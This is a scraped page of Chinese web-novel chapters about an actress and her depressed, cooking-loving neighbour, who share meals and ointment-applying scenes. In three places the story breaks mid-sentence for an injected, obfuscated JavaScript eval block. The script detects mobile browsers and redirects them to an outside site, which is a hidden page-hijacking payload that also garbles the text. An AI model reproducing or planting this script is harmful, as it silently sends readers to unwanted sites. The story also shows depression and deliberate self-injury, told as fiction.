应璋感受了一下背上真切的疼痛,又不死心地用力按了又按,最后只能疑惑地打开浏览器搜索—— 【人为什么会突然幻痛?】 7. 发现 可惜,无论是千度还是医生都没能解答应璋的困惑。 千度上的回答五花八门,随手点开哪个都会被传送到奇怪的广告页面;医生仔细检查后认为她是看到别人受伤精神受到影响,告诉她好好休息。 又疼又懵的应璋决定想不通就不想了,有困难先睡觉! 等应璋从疼痛萎靡中恢复清醒,时间已经来到了第二天傍晚。 不知道是充足的睡眠带抚平了身体的疼痛,还是安全熟悉的环境带走了不安,应璋现在只有几处磕碰到的淤青还在隐隐作痛,昨天疼得让她怀疑受伤的几处地方反而没什么感觉了。 粗线条的应璋没有想太多,只当是自己昨天疲累愤怒之下产生了错觉。在床上滚了两圈躺到太阳都下山了,饥肠辘辘的应璋才爬起来决定搞点东西吃。 昨天手臂用力过度,肌肉好像拉伤了。应璋活动了一下胳膊,又巡视了一下冰箱库存,最后放弃了自己做饭的想法,拎着外套下楼觅食去了。 也不知道最近小区门口的饺子店还开不开了。 应璋现在住的这个小区入住率不高,小区门口的店铺开了又倒倒了又开了,能吃什么全靠运气。 今天应璋的运气显然不怎么样,小区门口除了超市,所有的店铺都关门大吉了。 考虑到她并不优秀的厨艺和家里极简的炊具,应璋在货架上拿了两桶泡面,又加了几根肠,这才慢悠悠地往家走。 “唉……昨天的五花肉真是可惜了……” 站在单元楼下,应璋推开大门,闻着不知道谁家飘出来的烤肉香气感慨地咂咂嘴。 “应小姐?!” 叫她吗?声音听起来好像有点陌生? 应璋循声望去,居家服外套着围裙手上还拎着两个垃圾袋的柏临渊正站在门口吃惊地看着她。 “嘿!”应璋伸手去接垃圾袋,“你不是有根肋骨骨裂了?怎么还敢提重物?” 柏临渊反应慢了一拍,下意识就想把垃圾袋抢回来:“袋子脏,别弄脏你的手。” “没事,我等会回家洗手就是了。” 应璋摆了摆手,小跑着把垃圾丢到路口的垃圾站里。一扭头发现柏临渊小跑着跟了过来,嘴都疼白了。 “不是,你骨裂了还敢这么跑?”应璋震惊,“医生不是让你静养?你怎么又是提重物又是跑的?” “……下次不会了。” 柏临渊抿着嘴掀开围裙,从居家服肚子上的口袋里拿出一片湿巾递了过去,小声道:“你先擦擦手吧,都是油。” 听他这么一说,应璋才注意到手上的滑腻,道了声谢便接过了湿巾。 湿巾拂过皮肤,吸走了手上的油脂,无香型的湿巾瞬间满溢香气,勾得应璋动了动鼻子。 “这是什么油?好香!” 柏临渊眼睛亮亮的,点了点头:“我烤了一点猪颈肉。” “加了柠檬……不对……”应璋凑近湿巾闻了一下,“是混了白胡椒和香茅草?” “对!”柏临渊笑了起来,虎牙尖尖露了出来,看起来有几分稚气,“还加了一点柠檬叶和南姜。” “很复合的调味,怪不得这么香。”应璋由衷赞叹,有些不舍地丢掉了手上的湿巾,“原来你的厨艺这么好。” “那……你……你愿意尝尝吗?” 柏临渊磕磕绊绊地发出邀请,像是语言模组加载失败的故障机器人。 “我不是好……不是坏人……就在楼上3……302。” “那个就是……就是……看你在黄大仙宫吃得很香……我想……不是……那个……” 应璋怀疑她再不出声,柏临渊的舌头就要打结拧在一起了。 “你是想邀请我去你家吃烤肉?” 柏临渊:点头x2 “因为之前在黄大仙宫撞见我吃东西,所以想请我吃你做的饭?” 柏临渊:点头xn “好呀!”应璋伸出右手笑了起来,“我在301,新邻居你好。” “你好。” 看着柏临渊握着她的手,应璋只觉手掌相接的皮肤热的有些发烫。对方的手握得并不紧,非常有礼貌地虚虚一握便松开了,时间短的让应璋分不清手上震颤是他的颤栗还是肌肉痉挛。 “是不是提重物扯到伤处了?”应璋诚恳发问,“你好像在抖,要不要去医院看一下……” “不是……是扯到……不……那个……”柏临渊的慌乱肉眼可见,“我打了绷带……不用去医院……” “要不回去喷点药吧?”应璋快步上前拉开沉重的大门,“我家还有种缓解肌肉拉伤的药,是运动员朋友给我寄的,我去给你拿!” “……谢谢。” 柏临渊有些不好意思地想帮应璋推门,反被应璋一胳膊推了进去。 “好好养着吧,伤筋动骨一百天,骨裂养不好以后刮风下雨可难受着呢。”应璋没有察觉但柏临渊的不自在,很娴熟地进门按电梯,“你先回家,我找找药给你送过去。” “那我把密码发给你,你等下直接过来就好。”柏临渊打开二维码递了过去,“既然是邻居了,以后还请多多关照。” “好呀!”应璋扫码添加,顺手打上自己的名字发送好友申请,一边婉拒一边往自己家走。 “密码就不用发了,我先去找药,回见。” 不管怎么说,昨晚挺身而出的柏临渊也算是她的恩人,看对方能做饭的手抖成这样,应璋实在有些过意不去。 也许是在生活中遇到的善意比较少,每次遇到主动释放善意的人,应璋都会想方设法回报她能给予的所有。 应璋这样的性格给她带了幸运,也带来过不幸。藉此她认识了莫伊倪,也认识了汪继。 不过应璋不认为她这样不好,对人好是没有错的,只是有些付出是值得的,而有些完全不值。 走廊里的感应灯暗了下去,柏临渊站在原地,双手覆在脸上,透过指缝深呼吸。 斋堂里满含期待的明亮双眸和刚刚满是笑意的眼睛重叠在一起,亮得让他有些不知所措。 越靠近这样明媚鲜活的生命力,越受震撼,也越让柏临渊觉得自己像只溺在夜色里的蛾。 柏临渊翻出口袋里的药,狼狈地扣出药片吞下,动作慌乱地像是偷吃零食的小狗,生怕下一秒会被主人发现。 干吞下去的药在食道非常有存在感,柏临渊能感觉到药片划过喉咙缓慢下落的动线。 得尽快把药咽下去。 柏临渊想着,输入密码开锁回家。喝了一大杯水后柏临渊的情绪才稳定了一点,刚刚相处的细节一一浮现在脑海,他后知后觉地意识到他刚刚的表现有多蠢。 又过了一遍自己说的话后,柏临渊突然害怕起来。 她愿意认识这样不正常的自己吗? 柏临渊的呼吸急促起来,打开对话框敲下自己家的密码发送过去,紧张地等待回复。 只是屏幕上没有出现“对方正在输入中”,也没有任何回复。 她说的拿药回见会不会是客套话?实际并不想和他接触? 盯着屏幕的柏临渊发现他的手又在不受控制的颤抖了。 不……不能抖,最起码今天不要抖…… 柏临渊咬住食指关节,试图用疼痛压制不受控制的躯体化反应。 “咚咚咚——” 敲门声响起,轻快的女声从门口传来。 “柏临渊,我能进来吗?” 柏临渊回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360227|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,月光为门口的少女镀上一层银辉,昏暗的房间好像突然变得明亮起来了。 “我看你的门开着,但是没开灯。”应璋又敲了敲门,“我方便进来吗?” “方便的。” 柏临渊跌跌撞撞地开灯递拖鞋,开关的声响和开关鞋柜的声音响作一团,房间很快就热闹起来。 “你手还抖吗?”应璋歪头,“淤青要揉开才能好,我帮你上药?” “不用了……你先坐,等我一下……”柏临渊把还在发抖的手往身后藏了藏,“我去把菜端出来……现在应该刚刚好……” “吃饭先不急,你昨天回家是不是没有上药?我都没闻到药味!”应璋直接抓过柏临渊的手,把人按到沙发上,“别藏了,我看见你在抖了。别怕,揉开一次以后都不用揉了!” “那就麻烦应小姐了……”柏临渊有些不好意思的摘下围裙,手抓着居家服的下摆往上掀了一下,又很快顿住了。 “叫我应璋就行,不用这么客气。”应璋注意到柏临渊不自在的动作,小声提议道,“要不你回房间换个背心?” “哦……好……”柏临渊应声起身,同手同脚地进了卧室。 看着柏临渊奇怪的动作,应璋突然意识到她刚刚说的话好像不太合适,连忙出声补救:“要不你把袖子撸起来也行!” “我换好了。”柏临渊从卧室出来,乖乖坐到应璋身边,“这样可以吗?” 应璋:“……” 看不出来,这人原来是穿衣显瘦型的。俊秀偏古典的帅脸配上这肌肉分明的身材,直接把应璋看迷糊了。 “这样穿不可以吗?” 没听到回应的柏临渊不自在地拉拉护腕。应该……都遮住了吧?为什么她不说话呢…… “呃、哦、哦!” 应璋回神,在心里痛骂自己三声色狼,抓起药膏和喷雾站了起来。 “可以的,我看看你伤在哪了……我记得你是肋骨骨裂是吧?其他地方都没有骨折骨裂是吧?” “对。”柏临渊点头,手指抠着护腕的边缘,又往应璋的方向侧了侧。 “胳膊上的还好,后背这里有点严重……”应璋边看边搓手,等掌心温度起来了才把药膏挤到手上,“会有点疼,你忍一下。” “好……” 柏临渊点头,表示自己会配合。 带着药膏的手刚落在皮肤上时,柏临渊还有点心跳加速。但是伴随着按摩力度的提升,疼痛已经占据了他所有的想法。 起初应璋还有点不好意思,好像下手有点重,把人按得满头大汗。只是后来柏临渊忍痛的闷哼越来越明显,这药上得慢慢也多了几分旖旎。 奇怪,之前在武行给人上药也不是这动静啊? 应璋一边检讨自己想太多,一边拿起喷雾往刚刚揉过的伤处喷:“以后就不用这么揉了,正常把药涂在皮肤上就行。” “好。”柏临渊抽气,这药喷在皮肤上刺刺地疼,“谢谢。” “不用客气。”应璋把药膏和喷雾放在桌子上摆好,“要说谢谢也应该是我说,昨天要不是你帮忙,还不知道会发生什么呢。” “咕噜——” 还不等柏临渊回话,应璋的肚子就发出了声响,音量大的两人都愣了一瞬。 “我去热菜!”柏临渊连外套都没穿,直接冲进了厨房。 应璋捂着肚子,觉得人还是需要锻炼。 之前当演员的时候那么节食都没事,恢复正常饮食才几天?十三天?还是十五天?一饿就叫得那么响了? 看着厨房里忙碌的身影,应璋被男色糊住的脑子突然转了起来—— 不是,柏临渊受伤的地方,怎么和她莫名其妙觉得疼的地方那么像啊? 8. emo 应该是她想多了吧? 正确答案在应璋脑海中浮现一瞬,很快就消失不见了。饥肠辘辘的她现在满脑子回荡的只有食物。 进门前应璋以为只有一个烤猪颈肉,打算上完药浅尝一下就回家吃泡面。为此出门前还烧了壶水,方便她回去直接泡。 因此看到餐桌上一碟又一碟美食时,应璋人都傻了——连荤带素最起码七八道菜,味道诱人,摆盘也很精致。 “这么大一桌……”应璋左看看右看看,总觉得这顿饭规格堪比宴客,“你要招待朋友吗?他们什么时候来?” “没有别人……”柏临渊放下盛好的米饭,帮应璋拉开椅子,“我只是觉得做饭很解压……一不小心就做多了……” “一不小心……”应璋咂舌,“那你肯定是新西方烹饪学校的高材生,不然怎么会有这么丰盛的大餐。” “不算丰盛,只是爱好。”柏临渊被夸得有些不好意思了,“你要是有什么喜欢吃的可以和我说,下次准备一下给你做。” “这还不算丰盛?”应璋扫视一圈,语气满是感慨,“这么大一桌我会的也就是蒸米饭,这个功劳还是电饭锅的,不是我的。” “会蒸米饭也很了不起了。”柏临渊笑着把甜辣酱挤在小碟子里,推到应璋面前,“快尝尝,等会凉了就不好吃了。” 等的就是这句话! 烤好的猪颈肉焦香弹嫩,又脆又润。入口之后香料的气息非常明显,香茅的清爽和胡椒的辛香相得益彰。应璋连着吃了两块原味的才舍得沾酱,满足得眼睛都眯起来了。 “味道怎么样?”柏临渊有些紧张的捏着筷子,像是等老师公布成绩的小学生。 应璋咽下口中的食物,比了个大拇指:“你应该问‘味道是不是超级好’!你真的不是职业厨师吗?感觉这个肉可以做bistro的主菜了。” “真的吗?”柏临渊期待地看着应璋,“那这个酱牛肉呢?海鲜你能吃吗?避风塘炒虾我放了很多炸蒜……你介意吗?” 应璋按照柏临渊大点兵的顺序一一品鉴:牛肉咸香味美,蛏子鲜甜肥美,炒虾酥脆可口……不知不觉小半碗饭就下去了。 “我没什么忌口的,你也吃呀!” 看柏临渊迟迟不动筷子,应璋有些不好意思,又馋又想等他一起吃。 “好……” 柏临渊有些迟疑地端起碗,夹了一块卤牛肉小口小口的嚼着。不知道为什么,平日里完全没有存在感的味蕾在此刻突然活跃了起来,口腔里炸开的滋味让柏临渊直接愣在了原地。 “怎么了?” 应璋放下筷子站了起来,抽了好几张餐巾纸,一时间不知道是该递纸还是该擦眼泪。 “怎么突然哭了?你咬着舌头了?” 柏临渊刚想摇头,但又不知道该怎么描述他现在的情况。犹豫片刻后偷偷狠咬一下舌尖,而后才开口道:“咬了舌头……” 说话间血色顺着唇纹蔓延,把坐在对面的应璋吓得不轻。 “我的天,你怎么咬得这么狠!” 应璋手忙脚乱地去翻她装药的袋子,那个里面应该还有脱脂棉球。 “先漱漱口,等会用棉球压一压止血。” “你先吃饭。”柏临渊摆了摆手,“等下凉了吃了会胃痛的,我处理一下就回来。” 应璋哪里还吃得下,掏出手机开始搜索咬伤舌头的解决方法,对照网友的经验贴一一加购药品。 希望跑腿小哥不会因为这个小区太偏而拒绝接单。 躲进洗手间的柏临渊并没有第一时间漱口,而是打开水龙头后把脸怼在强劲的冷水流下,希望能通过这种方式理清乱成一团的情绪。 我已经邀请到了你第一次见面就想请她吃饭的人,我应该高兴。 柏临渊抬起头,和镜子里的自己对视。 “她答应了我的邀请,还夸我的厨艺好。” “我应该高兴的,高兴要笑,高兴应该要笑。” 洗手间里的喃喃自语被流水声冲散,柏临渊对着镜子调整了好一会,才关掉水流擦干脸从洗手间走出来。 不知道算不算幸运,虽然没有跑腿接单,但是看在距离不远的份上药店老板愿意亲自上门送药。柏临渊收拾好自己从洗手间出来时,应璋刚拎着药进门。 “你终于出来了!”应璋凑过去递上手上的袋子,“你把药敷在伤口上,可能有点疼,但是网友都说效果好,你试试。” “好……” 柏临渊接过药放在一旁,并没有去上药,而是端起盘子去厨房热菜。 “我们先热菜,吃完饭我再上药。” “不行!先止血上药!” 蹭病号的饭已经很不好意思了,应璋哪里还敢让嘴里伤口冒血的病号给她热饭吃! “已经不怎么出血了。”柏临渊微微张嘴露出伤口,很快又闭上了嘴,“先吃饭,我还饿着呢,吃完饭漱口上药。” “哦……哦,好……” 应璋愣愣地点头应好,呆呆的在原地愣了好一会。 不是,他刚刚是在用美色转移话题吗? 这个想法出现的瞬间,应璋打了个寒颤,她怎么能这么恶意揣测他人呢? 应璋嘴上在做自我检讨,脑子里却不受控制地回想起刚刚看到的画面——湿润的舌尖轻轻搭在干燥泛白的唇边,沁着血色的伤口色泽偏深,似乎因为疼痛而轻轻颤抖…… 好罪恶的大脑,应璋摇摇头,在心里偷偷扇了自己两巴掌。 真是帅哥看少了,等会回去罚她刷十个肌肉男菩萨。 没等应璋结束自我检讨,柏临渊就端着热好的饭菜回来了。 “要不先吃饭吧?”柏临渊放下手中的碗碟,又去厨房拿了新的碗筷,“已经热了两遍,再热真的就不好吃了。” 应璋接过筷子,想了想叮嘱道:“那你小心一点,吃饭的时候用另一边嚼,不要碰到伤口。” “好。” 这顿波折颇多的晚餐结束后,应璋礼貌告辞回家,她报名的择校辅导班开课了,她要去赶老师的直播课。 课程结束夜色也深了应璋虽然还没定下来选哪个学校,但这几天的学习公共课已经养成了早睡早起的习惯,关了平板就起身去了浴室,并没有注意到埋在被子里的手机。 热水从额头滑落,暖热的流水舒缓了紧绷的神经,应璋舒服地叹了口气。 从登录课程页面开始,应璋就隐隐觉得胸口闷闷的,像是在暴雨来临前爬山,呼吸都变得缓慢而艰难。 不过应璋也没有多想,只当是天气不好气压低,也没太当回事。 今天讲课的老师非常风趣,就是废话太多了。讲解一个关键的信息可能只需要一分钟,但老师会用十几二十分钟的废话和段子去铺垫,再用五到十分钟的广告去收尾,整节课听下来真的让人火大。 说这个课程没用吧,多少也还是有点用处的,有不少互联网不能直接查到的资讯;说课程有用吧,又觉得这点资料不值得听两个半小时。 这种感觉就像是拍了很久的队低价买了一份试吃,味道还可以,但也没好到值得大排长队的程度。 因此应璋把身体上的不适归结于今晚糟糕的课程体验,并没有其他想法。 只是这个澡越洗应璋越难以呼吸,背后也有种说不清道不明的隐痛。应璋就没在浴室待太久,随便冲了冲就出来了。 尽管身上还没完全擦干,但应璋已经完全顾不上了。现在她只想躺在床上多刷一刷男菩萨,为之前罪恶的想法赎罪。 还没解锁,应璋就看到了满屏的V信消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360228|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,一半来自好姐妹莫伊倪,另一半来自新邻居柏临渊。 莫伊倪性格开朗热情,像只年幼的金毛,总想把互联网上热闹有趣的事带回来分享给应璋。为了跟上莫伊倪冲浪的节奏,应璋下载了五六个APP去接收好姐妹叼回来的好骨头。 很奇怪,明明视频基本都是有趣又温馨的,但应璋就是觉得很难过,像是一个被遗落在孤岛又等不到游轮的旅人,突如其来的悲伤让她几欲流泪。 这才几点,到网抑云时刻了吗? 捏了捏发酸的鼻子,应璋打开了柏临渊发来的消息。 【今天的菜还合胃口吗?】19:57 【感觉你好像没太吃饱……都没怎么吃主食……】19:59 【应该开始上课了吧?我也进了教室,原来有这么多人在线。】20:03 【[截图][截图]】20:03 【这个老师的课件好像很久没换了,刚刚搜了一下,去年也是用的这个开头。】20:05 【[截图][截图]】20:05 【讲了好久……老师不喝水嘴巴都不干吗……】21:24 【我炖了一点银耳汤,等下课应该刚好可以出锅。】21:53 【快下课了,我把甜汤放你门口了。不知道你喜不喜欢吃甜的,没放太多糖,旁边的小盒子是蜂蜜。[图片]】22:27 最后一条消息是张图片,昏暗的楼梯间里,莹白的汤盅看起来似乎在发光。 应璋看了一眼右上角的时间,23:10。 “放了这么久!不会凉了吧!” 想起晚饭的美味,应璋直接从床上弹起奔向门口。 汤盅小小的一只,放在镂空的盒子上,端起时还有微热的暖意。进门取下汤盅后应璋惊讶地发现,盒子里放了一块可以调节温度的保温板。 “这也太精致了,我的天……” 应璋随着汤盅三连拍,开始回消息。 【今天的菜超级好吃!柏大厨厨艺超绝![猫猫点赞.jpg]】 【吃饱了吃饱了!卤牛肉我吃了半盘呢!】 【消息看得比较晚,刚拿到银耳汤!很清甜![猫猫肯定.jpg]】 不知道是这番运动的功劳,还是这盅甜汤的奇效,一碗甜汤下肚额头和后背若有似无的疼痛也感觉不到了。 陷入睡眠的前一秒,一个念头突然在应璋脑海浮现:今晚的梦应该也是甜的。 301已经沉入梦乡,但302的灯还亮着。 对门少女离开之后,房子突然就安静下来了。柏临渊坐在柔软宽大的懒人沙发里,静静地数着自己的心跳。 ……199,……355,356…… 心跳声越来越吵,柏临渊似乎可以听到脉搏鼓动、血液流淌的声音,指甲渐渐也有了麻麻的感觉。 这不对劲,他吃过药了。 柏临渊决定做点什么分散一下注意力。 于是柏临渊购入了刚刚饭桌上应璋提过的课程,一边外放课程,一边切梨泡银耳。 工具和案板碰撞,燃气灶上火焰升腾,颇富生活气的声音让柏临渊的心稍稍安定了一些,身上的压抑和疼痛似乎也不明显了。 忙碌的间隙,柏临渊看了一眼手机,屏幕和之前一样,没有新消息。 “没关系,课程还没有结束呢……” 等到汤盅里的糖水泛出蜜一样粘稠的色泽,柏临渊起身关火,把汤盅装好,想了想又翻出了保温箱擦干净,这才满意出门。 送出甜汤后,柏临渊回家坐在门口的换鞋凳上,静静听着外面的声音。 时间一分一秒游走,柏临渊一直盯着窗外,天色阴沉沉的,已经完全看不见月亮了。 月亮总会出现的,他想。 9. 上药 “喂?” “璋宝璋宝璋宝!别睡了!快起床!” 莫伊倪的激动差点顺着信号砸在应璋脸上,揉了揉眼睛,应璋瞄了一眼屏幕上的时间,打着哈欠道:“醒了醒了,这会给我打电话有什么重要指示传达呀?” “今天早上警方发了情况说明,你等下快去看!”莫伊倪笑得畅快,“铃戏不仅有权钱交易,还有超多税务问题,已经在调查了!” “哦豁!真是个好消息。” 听到这些应璋可就一点都不困了:“这下你不用去考公,他们的日子也不好过了。” “嘻嘻,你说他们这个烂公司会不会因为上面调查直接破产倒闭?”莫伊倪越想越开心,“我已经联系了很多前同事去举报铃戏了,普通员工举报社保未足额缴纳,能抓到财务把柄的去举报税务!” “挺好,大家有仇报仇,有怨报怨。”应璋闻言也笑了起来,“干翻公司,人人有责!” 莫伊倪被应璋的语气逗笑了,好一会才想起来今天这通电话的主要目的:“璋宝,最近我打听到了一些小道消息,不保真,但感觉你可以试一下。” “铃戏的打款不是总拖吗?特别是艺人劳务,听说多的能拖上两三年。你这几年跟劳模似的,就差住剧组了,怎么也不至于干了这么久还在租房子住。” “你的意思是,铃戏在劳务方面做了手脚?” 应璋不会看合同,基本都是经纪人说什么就是什么。想一想汪继和铃戏的行事风格,应璋觉得好友的猜测也不无道理。 “对啊!”莫伊倪扒着手指头数,“你看你不通过公司自己找的角色基本都能有六位数的收入,那大平台的合作和谈判肯定只高不低啊!就算公司分成高,你也不至于像现在这么紧紧巴巴的呀!” “我问问何律能不能帮我找找擅长这方面的律师。”应璋摩拳擦掌,“等会我给何律打个电话咨询一下。” “别等会了,你现在就去打!” 莫伊倪比应璋还急,没等好友回话就挂了电话。 应璋:不愧是是白羊啊,真是风风火火。 何律消息回复的很快,应璋就把她了解的情况和何律说了一下。 认真研究了一会之后,何律搬出法条跟应璋仔细分析。并坦言如果铃戏真的存在经济违约这样的违规操作,她和铃戏解约胜诉的概率很大。 这简直是这些天来她听到最好的消息了! 不过何律并不擅长这种类型的案子,考虑到应璋的现状,何律建议她换其他律师来接手这个案子。应璋也不是那种非某人不可的愣头青,在不擅长的领域上她向来主打一个听人劝。 在何律的推荐下,应璋约到了一个擅长处理经济类案件的律师黎阳。应璋在这两天好好搜集一下相关的合同和证据,后天两人见面再细谈。 眼看压在头顶的大山有被搬走的可能,应璋整个人充满了干劲,连收拾东西这样枯燥的事情都觉得有意思起来。 虽然应璋不是那种屯屯鼠的性子,但确实不爱收拾东西,断舍离这三个字她是一个都沾不上边。不过也正是这样的生活习惯让她保留了签进铃戏之后所有签过字的材料。 铃戏没有什么一式两份的意识,很多合同或者文件并没有给过应璋。也是吃了年纪小不懂人心险恶的亏,应璋起初也不懂这些,直到被汪继摆了一道之后才学聪明。 铃戏不给的资料她就拍照保存,回家之后再自己打印出来。 翻了大半个书柜,应璋想起从她起床到现在还没吃过东西,于是便放下了手上的材料,准备点个外卖。 就在应璋纠结吃什么的时候,一则V信消息弹了出来。 柏临渊:【午饭不小心做多了,可以帮我分担一些吗?】 柏临渊:[图片][图片][图片] 看着图片上色相颇佳的美味,应璋下意识咽了下口水。老天啊,她以前看吃播都不敢点开这种摆一桌子的。 手指按在对话框上,应璋正准备拒绝,毕竟她们的关系还没有好到天天去对方家里蹭饭程度。 柏临渊:【正好帮我把汤盅送回来。】 应璋犹豫了一下,觉得确实应该把人家的餐具还回去。于是简单回复后就带着汤盅去敲门了。 “你来了,可以穿这双米色的拖鞋。” 今天柏临渊换了条米色的围裙,下摆还有一圈小毛边,看起来竟也有几分可爱。 “就是这双。” 看着对门帅哥蹲下来要帮自己换鞋,应璋吓得猛退一大步——这对她来说实在有点太超过了。 “这个汤盅我洗过了,先放这里了。”应璋小心地把放着餐具的保温箱放在门口的矮柜上,起身就想告辞,“我吃过午饭了,就不多打扰你啦!” “咕噜噜——” 话音刚落,应璋的肚子就水灵灵地把主人给卖了。 真是不争气啊!应璋觉得她的脖子都在烧,怎么会有人的肚子天天对着邻居叫啊! “可以进来陪我简单吃一点吗?”柏临渊手指抠着围裙边,声音轻的像是在自言自语,“不可以也没关系……” 应璋原本是想坚定拒绝的,但看到这样的柏临渊,她的舌头像是有自己的想法,拒绝的话无论如何都讲不出了。 “好啊。”应璋进门换鞋,“那今天也托你的福啦!又混了一顿大餐!” “是我托你的福。”柏临渊看着应璋,神情认真,“有人陪着吃饭是很幸福的事,饭也会变得好吃。” “好像是哦。” 应璋想了想觉得他说得对,有吃饭搭子的时候,好像饭也会变得好吃很多。 不知道是不是因为她昨天酱牛肉吃得多,今天桌子上六个菜,四道都是牛肉,还有一道时蔬一道汤。 看应璋对着一桌子菜发愣,柏临渊小声解释道:“昨天的酱牛肉挺好吃的,所以今天还想多吃一点牛肉……你不喜欢吗……” “没有没有没有,这不是全牛宴太丰盛了,一时不知道先吃哪个好了。”应璋摆手,煞有介事地捧起饭碗研究桌上的菜色,“这个凉拌牛肉一看就很开胃,黑椒牛仔粒看着也很下饭……” “可以先喝汤暖暖胃,是牛肉汤。” 应璋:真就全牛宴啊…… 不知道是不是因为抑郁症的缘故,在很长一段时间里,柏临渊吃饭是没有味道的,所有食物吃到口中,不辨荤素,五味俱同。 对于一个热爱烹饪,以做饭为消遣的人而言,没有什么比这更让人绝望了。失去了味觉,没有了进食的欲望,柏临渊只能沉默地做一桌菜,看着它们冷掉,变成厨余垃圾桶里的废料。 但自柏临渊在黄大仙宫撞见应璋后,他又找回了久违的食欲与对食物的感知。柏临渊不清楚这是为什么,但他愿意把这当成上天恩赐的救命稻草。 今天这顿饭是柏临渊早上六点就起来准备的。他独自享用的早餐如以往几百个日夜那样味同嚼蜡,只有和应璋一块用餐时,他才能短暂地恢复正常。 柏临渊试图用美食诱惑应璋,想藉此成为她的专属饭搭子,但直到一顿饭接近尾声,他也没想好该如何开口。 应璋没有察觉到柏临渊的心思,享用完大餐之后,应璋有点困,脑子也不是很清醒。 “你都停筷子这么久了,还不吃药吗?”应璋疑惑发问,“洛索洛芬钠不是要饭后服用?” 陌生的药名听得柏临渊一愣:“什么?” “帮助你骨裂消炎愈合的药,之前医生给你开的,你是不是没有吃?”应璋回想了一下,解释道。 “哦……对,要吃药。” 柏临渊翻出之前开的药,拆开包装开始读说明书。 看着柏临渊的动作,应璋都震惊了,不是,这哥连包装都没拆?她以为他只是落了一顿,合着是根本就没吃过? “你怎么都不吃药的?伤口不疼吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360229|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应璋震惊,“我给你拿的药膏你是不是也没擦?” “嗯……”柏临渊吞下药片,看起来有几分乖巧,“胳膊抬不起来,够不到后背……” 应璋脑子一热脱口而出:“要不我帮你擦!” 话音刚落应璋就后悔了,这话讲得,多冒昧啊…… “那就麻烦你了。”柏临渊找出药膏,笑容乖巧,“作为帮我上药的报酬,我可以负责你的一日三餐吗?” 应璋一时没有反应过来:“啊?” 柏临渊:“不可以吗……” 出现了,气音一般的声线! 应璋听得耳朵痒痒,好像被人贴在颈侧吹气。拒绝话在嘴边转了一圈,说出来就变成:“可以倒是可以……会不会太麻烦你了……” “不麻烦的,你能陪我吃饭,我我求之不得。”柏临渊一脸认真,“那我去换衣服,你帮我擦药?” 应璋有点气虚:“好……” 在等待柏临渊换衣服的间隙,应璋一边叹气一边搓手,比手部肌肤升温更快的是她的面皮,不过她刚刚用前置相机照了一下看起来肤色还算正常。 “我坐这里吧,这样你就不用弯腰了。” 柏临渊搬了一个小凳子放在沙发前方,小小的凳子还没他小腿一半高,看起来比儿童马扎还小巧几分。 看着乖巧做好的柏临渊,应璋有点想笑,这个画面很像德牧挤在吉娃娃的窝里,严肃、乖巧、但好笑。 “好,我今天轻点。” 应璋拿着药膏坐了过去,开始认真涂药。 昨天又是借着夜色,又要用力推开淤青的,整个上药的过程应璋什么都没有想,上药的动作和给皮包打蜡没什么区别。 现在是正午,光线充足,涂药的动作又轻柔。借助药膏的润滑,应璋只觉得她的手在别人的皮肤上游走。微凉的皮肤被搓热的药膏激出微微战栗,伴随着肌肉的轻颤搔得应璋手指发痒。 不行,得说点什么,不然这也太尴尬了。 应璋这样想着,手指从柏临渊的后背划向手臂。 “你的肌肉痕迹还蛮明显的,兄弟练过?” 柏临渊被这突如其来中气十足的一声吓了一跳,整个人猛地一抖,愣了片刻道:“之前有健身,这两年就没怎了练了……” “是吗?哈哈……”应璋干笑一声,暗恨自己这张死嘴,努力寻找其他话题,“你皮肤挺白的,显得这淤青怪吓人……” 不是,她的嘴在讲什么? 应璋有点绝望,努力找补:“不是……那什么……我……那个……我的意思是你的伤看起来有点严重。” “可能我不太出门吧……其实还好,不怎么疼……”柏临渊低头,碎发遮住了发红的耳廓。 也不知道今天的嘴到底怎么回事,现下应璋不敢再把话题往柏临渊身上带了,只能说她自己的事。 在彼此互不了解时聊什么比较安全呢?应璋想了又想,觉得还是讲小动物比较好,就说起了在黄大仙宫遇到的小猫。 柏临渊听着应璋的描述,越听越觉得不对劲:“按照你的描述,那好像不是猫,应该是黄鼠狼。” “黄鼠狼?”应璋倒吸一口凉气,“不会真是黄大仙吧?那我冒犯到它了吗?” “应该没有吧……”柏临渊不太懂仙家,但对黄大仙宫比较了解,“黄大仙宫的黄大仙不是黄鼠狼,是道教神仙黄初平。” “哦哦……”应璋松了口气,“那就好,这也不能怪我啊……谁能想到黄鼠狼能那么短那么胖……” 柏临渊失笑:“它在那里生活很久了,看起来伙食还不错……” 应璋表示赞同。 * 与此同时,被蛐蛐的当事鼬正在被金华山上的老道士按着上药。 “你是不是对人做坏事了?被劈成了这个样子?” 